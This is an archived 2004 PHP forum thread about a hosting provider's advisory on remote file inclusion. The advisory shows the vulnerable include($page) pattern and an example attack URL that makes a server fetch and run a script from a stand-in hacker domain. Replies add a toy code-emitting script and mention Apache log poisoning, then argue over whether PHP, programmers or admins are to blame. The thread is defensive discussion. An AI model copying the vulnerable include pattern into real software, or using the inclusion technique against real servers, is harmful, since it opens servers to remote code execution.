473,804 Members | 2,931 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

PHP blamed for security problems

Here's what this morning's security advisory read here:

``In the last 3 months we have noticed an marked increase in the number of
web-server attacks and successful compromise on our network. These are
mostly PHP-script exploits and are giving hackers easy shell access to
virtual servers, as mentioned in the PHP Security Advisory in the News
section of the control centre. We really cannot do much about these
network attacks other than to inform our customers to stay vigilant and
upgrade PHP-script software whenever newer versions become available.
The allow_url_open change to PHP is about as much as we can do here.''

They offer a more detailed description of the problem:

``Recently, we've seen an increase in malicious activity on
our servers, caused by hackers who have successfuly gained
shell access via insecure PHP scripts.

Following our own investigation of these hacked accounts, we
believe we have established the common point-of-entry for
these attacks.

As you may be aware, PHP provides a number of functions for
opening files such as 'fopen()' and it's also possible to
pass an HTTP or FTP URL to these such that
fopen('http://www.dsvr.co.uk/'); will fetch the contents of
the DSVR homepage for PHP to treat as a file.

What you may not be aware of is that functions such as
include() also allow URLs to be passed as their argument.
Since these functions cause the included file to be parsed
and executed as PHP code, this can be a major security flaw.

Many clients seem to be using PHP that looks like this:

<html>
...standard header...
<? include($page); ?>
...standard footer...
</html>

as a cheap way to manage common headers and footers. These
pages can be accessed like so:

http://www.your-domain.co.uk/index.php?page=about.inc

so that a file 'about.inc' is included inside the standard
header/footer.

However, unless the $page variable is checked for valid
content -- and input sanity checking is conspicuously absent
in many PHP scripts we encounter -- this is very open to
misuse. Malicious third parties could do the following:

http://www.your-domain.co.uk/index.p...oot-script.txt

This example would cause
http://www.hacker-domain.co.uk/my-root-script.txt
to be downloaded and executed as PHP, allowing the hacker to
manipulate server files and create backdoors which allow
them to log in using telnet or ssh and cause further
disruption.''
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05
38 3229
*** Phil Roberts wrote/escribió (Tue, 16 Mar 2004 11:49:48 -0600):
But if you include remote files via HTTP, then you are making a
HTTP request. You can't include source code from another server
because the HTTP response will not pass the code, only the output
from the code.


Crackers normally host malicious code in free accounts that don't even have
PHP support. Even if remote host has the PHP interpreter, they just need to
provide a *.txt file with the code.
--
-- Álvaro G. Vicario - Burgos, Spain
--
Jul 17 '05 #11

Uzytkownik "CountScubu la" <me@scantek.hot mail.com> napisal w wiadomosci
news:3y******** **********@news svr27.news.prod igy.com...
"Phil Roberts" <ph*****@HOLYfl atnetSHIT.net> wrote in message
news:Xn******** *************** **@216.196.97.1 32...
True it will not include the source, but only the output, you can write a
php script to output valid code.

an example would be:

<?php
print "<?php\n";
print "// do some evil here\n";
print "?>\n";
?>


Or put the file on a server that doesn't parser PHP... In any case, passing
a user variable to require/include introduces a vulnerability even without
access to remote files. An attacker can backtrack to an anonymous FTP
incoming directory, or send the mailious code in an URL to Apache, then link
in the Apache log file.

The problem is, I think, is that many of those who program in PHP came from
a HTML design instead of a programming background. People used to
programming in C/C++ probably wouldn't use include files in that manner.
Another problem is that PHP is often used in environments where there's no
QA process. The best of us make mistakes and any site that hasn't gone
though thorough testing is bound to be insecure.


Jul 17 '05 #12
Tim Van Wassenhove <eu**@pi.be> wrote:
And who's to blame for that? The php script? Or the sysadmin that gives
to many rights to the user that is running apache?


I'd say the person who wrote the script, not the administrator. It
seems common sense to me that you wouldn't include a file comming in
from hostile input w/out very careful consideration, if you must
do it, make sure the file exists where you think it ought to, fits
within the boundaries of a carefully constructed regex etc.. (or
use a table-lookup approach that only allows files/urls that are
predetermined.)

The best bet is simply not to include anything from hostile input in the
first place. Every modern guide, book or tutorial I know of will tell you
not to be careless with user input, so I wouldn't blame PHP for it.

If the script is used to actually gain root access, then I'd either
blame the admin, the application that was exploited (setID executable
probably) or the OS itself, depending on how the system was compromised.
UNIX machines are supposed to be secure, with multiple users having
shell access. Damages should be limited to whatever userID was running
the script.

I feel kind of sorry for the user because he/she may have contracted out
the job, I would hope they'd get their money back at any rate!

Actually, better to not blame anyone, but learn from it. (and if you
were the programmer, do something to try & make up for the damages.)

Jamie
Jul 17 '05 #13
<th******@yahoo .com> wrote in message
news:mq66c.3268 2$1p.495668@att bi_s54...
Tim Van Wassenhove <eu**@pi.be> wrote:
And who's to blame for that? The php script? Or the sysadmin that gives
to many rights to the user that is running apache?


I'd say the person who wrote the script, not the administrator. It
seems common sense to me that you wouldn't include a file comming in
from hostile input w/out very careful consideration, if you must
do it, make sure the file exists where you think it ought to, fits
within the boundaries of a carefully constructed regex etc.. (or
use a table-lookup approach that only allows files/urls that are
predetermined.)

The best bet is simply not to include anything from hostile input in the
first place. Every modern guide, book or tutorial I know of will tell you
not to be careless with user input, so I wouldn't blame PHP for it.

If the script is used to actually gain root access, then I'd either
blame the admin, the application that was exploited (setID executable
probably) or the OS itself, depending on how the system was compromised.
UNIX machines are supposed to be secure, with multiple users having
shell access. Damages should be limited to whatever userID was running
the script.

I feel kind of sorry for the user because he/she may have contracted out
the job, I would hope they'd get their money back at any rate!

Actually, better to not blame anyone, but learn from it. (and if you
were the programmer, do something to try & make up for the damages.)

Jamie


Hostile input enviroment, I like that, really no joking I do.
(I may just borrow that one here and there)

hmm, reminds me of my networking days, Hostile, DMZ.... etc..

--
Mike Bradley
http://www.gzentools.com -- free online php tools
Jul 17 '05 #14
Uzytkownik "Allodoxaphobia " <bi********@con fig.com> napisal w wiadomosci
news:sl******** *************** @localhost.conf ig.com...
At a previous ISP -- who also was hosted my web site -- I noticed
one day that files I created/updated in PHP were assigned the
ownerid of ---- *me* -- my logonid for the hosting machine!
Crap!! I was also trying to use some secure (userid:passwor d)
http access to some things inside my account -- using file
ownerships to control access to some data.
I pointed this out to the 'web master', and asked "Why!?".
I never got a reply, but several days later I noticed the PHP
program(s) were no longer creating files with owner: my-userid.
Instead, they were ownerid: *root* !!! Geez-Zuss!!!
I moved my account(s) the next day.


That reminds me. I still have Apache running as LocalSystem on our Win32
server. Gotta add that to my todo list...
Jul 17 '05 #15
R. Rajesh Jeba Anbiah <ng**********@r ediffmail.com> wrote or quoted:
Blame the design and programmers---not the PHP.

In India, we can file a case against anyone who damage one's name
with a kind of hoax. I don't know, whether we should take some efforts
to sue such people who intentionally damage PHP instead of blaming the
design and programmers.


I can't say I approve of the "legal" approach to software security.

Fund the removal of the security holes - not detectives to catch
those who exploit them and lawyers to sue them.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #16
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-16, Tim Tyler <ti*@tt1lock.or g> wrote:

Here's what this morning's security advisory read here:
``Recently, we've seen an increase in malicious activity on
our servers, caused by hackers who have successfuly gained
shell access via insecure PHP scripts.


And who's to blame for that? The php script? Or the sysadmin that gives
to many rights to the user that is running apache?


Giving even rather minimal rights will allow the manipulation of files
on the server. The hacker is likely to be able to recover the system
password file and run it through a password cracker. In many cases,
this will be enough for them to make quite a mess - e.g. by using
compromised accounts to relay spam.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #17
MyOdd <sp********@myo ddweb.com> wrote or quoted:
Maybe php could prevent the usage of include(...) from a $_GET/$_POST but
how can that really be enforced...
By not running code taken from remote machines, perhaps?
I have been wanting to write an app for some times that go thru php scripts
and flags possible security risks. I don't know if i really have the time
to.


Better to eliminate the risks at source - rather than scan every script
in the universe.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #18
On 2004-03-18, Tim Tyler <ti*@tt1lock.or g> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-16, Tim Tyler <ti*@tt1lock.or g> wrote:

> Here's what this morning's security advisory read here:
> ``Recently, we've seen an increase in malicious activity on
> our servers, caused by hackers who have successfuly gained
> shell access via insecure PHP scripts.


And who's to blame for that? The php script? Or the sysadmin that gives
to many rights to the user that is running apache?


Giving even rather minimal rights will allow the manipulation of files
on the server. The hacker is likely to be able to recover the system
password file and run it through a password cracker. In many cases,
this will be enough for them to make quite a mess - e.g. by using
compromised accounts to relay spam.


Imho the one to blame for should be the sysadmin for not using shadow
passwords. Are running httpd as root.

--
http://home.mysth.be/~timvw
Jul 17 '05 #19
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-18, Tim Tyler <ti*@tt1lock.or g> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-16, Tim Tyler <ti*@tt1lock.or g> wrote: > Here's what this morning's security advisory read here:
> ``Recently, we've seen an increase in malicious activity on
> our servers, caused by hackers who have successfuly gained
> shell access via insecure PHP scripts.

And who's to blame for that? The php script? Or the sysadmin that gives
to many rights to the user that is running apache?


Giving even rather minimal rights will allow the manipulation of files
on the server. The hacker is likely to be able to recover the system
password file and run it through a password cracker. In many cases,
this will be enough for them to make quite a mess - e.g. by using
compromised accounts to relay spam.


Imho the one to blame for should be the sysadmin for not using shadow
passwords. [...]


That's a fair comment.

However (though I haven't asked them) I suspect shadow passwords are not
currently an option for them. They provide multiple "virutal servers" on
the same machine - and the administrator of each server doesn't get root
access - but they are the one who needs to manipulate users and passwords.

There may be scope for improvement here - but it may not be terribly
simple to do.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #20

This thread has been closed and replies have been disabled. Please start a new discussion.

Similar topics

5
1890
by: Julien Buratto | last post by:
I don't think Php, setting safe_mode and register globals did a serious job on 4.1.x versions and above. Actually I would like to see that crapy problems beeing solved on Php5 but it seems nobody is thinking of it... Any idea ? Julien
0
1421
by: Ken in Melbourne Australia | last post by:
For some Open Source (GPL licensed) programs that I am working on, I am trying to create some PHP routines for data handling with good security. The routines I have created for this are given below and I would like these reviewed for security problems or other problems that they may have. My requirements are as follows:
4
5431
by: Lorenzo | last post by:
hi you all, first of all apologies for having cross-posted this message but really i did not know where to post it. please let me know what ng you consider the most suitable for the described issue. i wrote a program made by a client and a server that communicate via RMI premise 1) everything has been developed and executed on WinXP Professional and the following jre
354
15932
by: Montrose... | last post by:
After working in c# for a year, the only conclusion I can come to is that I wish I knew c. All I need is Linux, the gnu c compiler and I can do anything. Web services are just open sockets hooked up to interfaces. The Gtk is more than enough gui.
116
7593
by: Mike MacSween | last post by:
S**t for brains strikes again! Why did I do that? When I met the clients and at some point they vaguely asked whether eventually would it be possible to have some people who could read the data and some who couldn't but that it wasn't important right now. And I said, 'sure, we can do that later'. So now I've developed an app without any thought to security and am trying to apply it afterwards. Doh!, doh! and triple doh!
3
1868
by: mar10 | last post by:
I am creating a database in Access 2002 for a small firm that would like security on the tables. They want some employees to have write access only to tables, while others read-only. I have not done anything with security since way back in version '97. I'm reading some white papers I've found to gain knowledge of current security issues. My question is, can I create security problems with other access programs I have created as I...
7
1989
by: Magdelin | last post by:
Hi, My security team thinks allowing communication between the two IIS instances leads to severe security risks. Basically, we want to put our presentation tier on the perimeter network and the business tier inside the fire wall or internal network. The biz tier will be developed and deployed as web services on IIS. I know microsoft recommends this architecture but I am not able to convince my security team. They say IIS is vulnerable...
15
10516
by: himilecyclist | last post by:
My State government organization has written a PHP/MySQL application which has been in production for about 6 months and has been highly successful. We are now embarking on a similar database application, but one with much higher security concerns (birth data). Prior to beginning the project, we met with an oversight committee who strongly advised against PHP and suggested Java. Their concern was that PHP could not be trusted to...
1
1211
by: Peter Morris | last post by:
The problems with software development these days as I see them are 01: Hiring crap coders. Some companies seem as though they like to fill seats or something and will hire someone with very poor skills. 02: Unrealistic deadlines. People rarely seem to plan for the unexpected these days. They seem to give an estimate of how long something should take if everything goes to plan, which never happens. 03: Coders not speaking out or...
0
9706
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, we’ll explore What is ONU, What Is Router, ONU & Router’s main usage, and What is the difference between ONU and Router. Let’s take a closer look ! Part I. Meaning of...
0
9577
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it. First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
0
10325
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that captivates audiences and drives business growth. The Art of Business Website Design Your website is...
1
10315
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
0
9140
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own.... Now, this would greatly impact the work of software developers. The idea...
0
6847
by: conductexam | last post by:
I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and then checking html paragraph one by one. At the time of converting from word file to html my equations which are in the word document file was convert into image. Globals.ThisAddIn.Application.ActiveDocument.Select();...
0
5651
by: adsilva | last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
1
4295
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
3
2990
bsmnconsultancy
by: bsmnconsultancy | last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.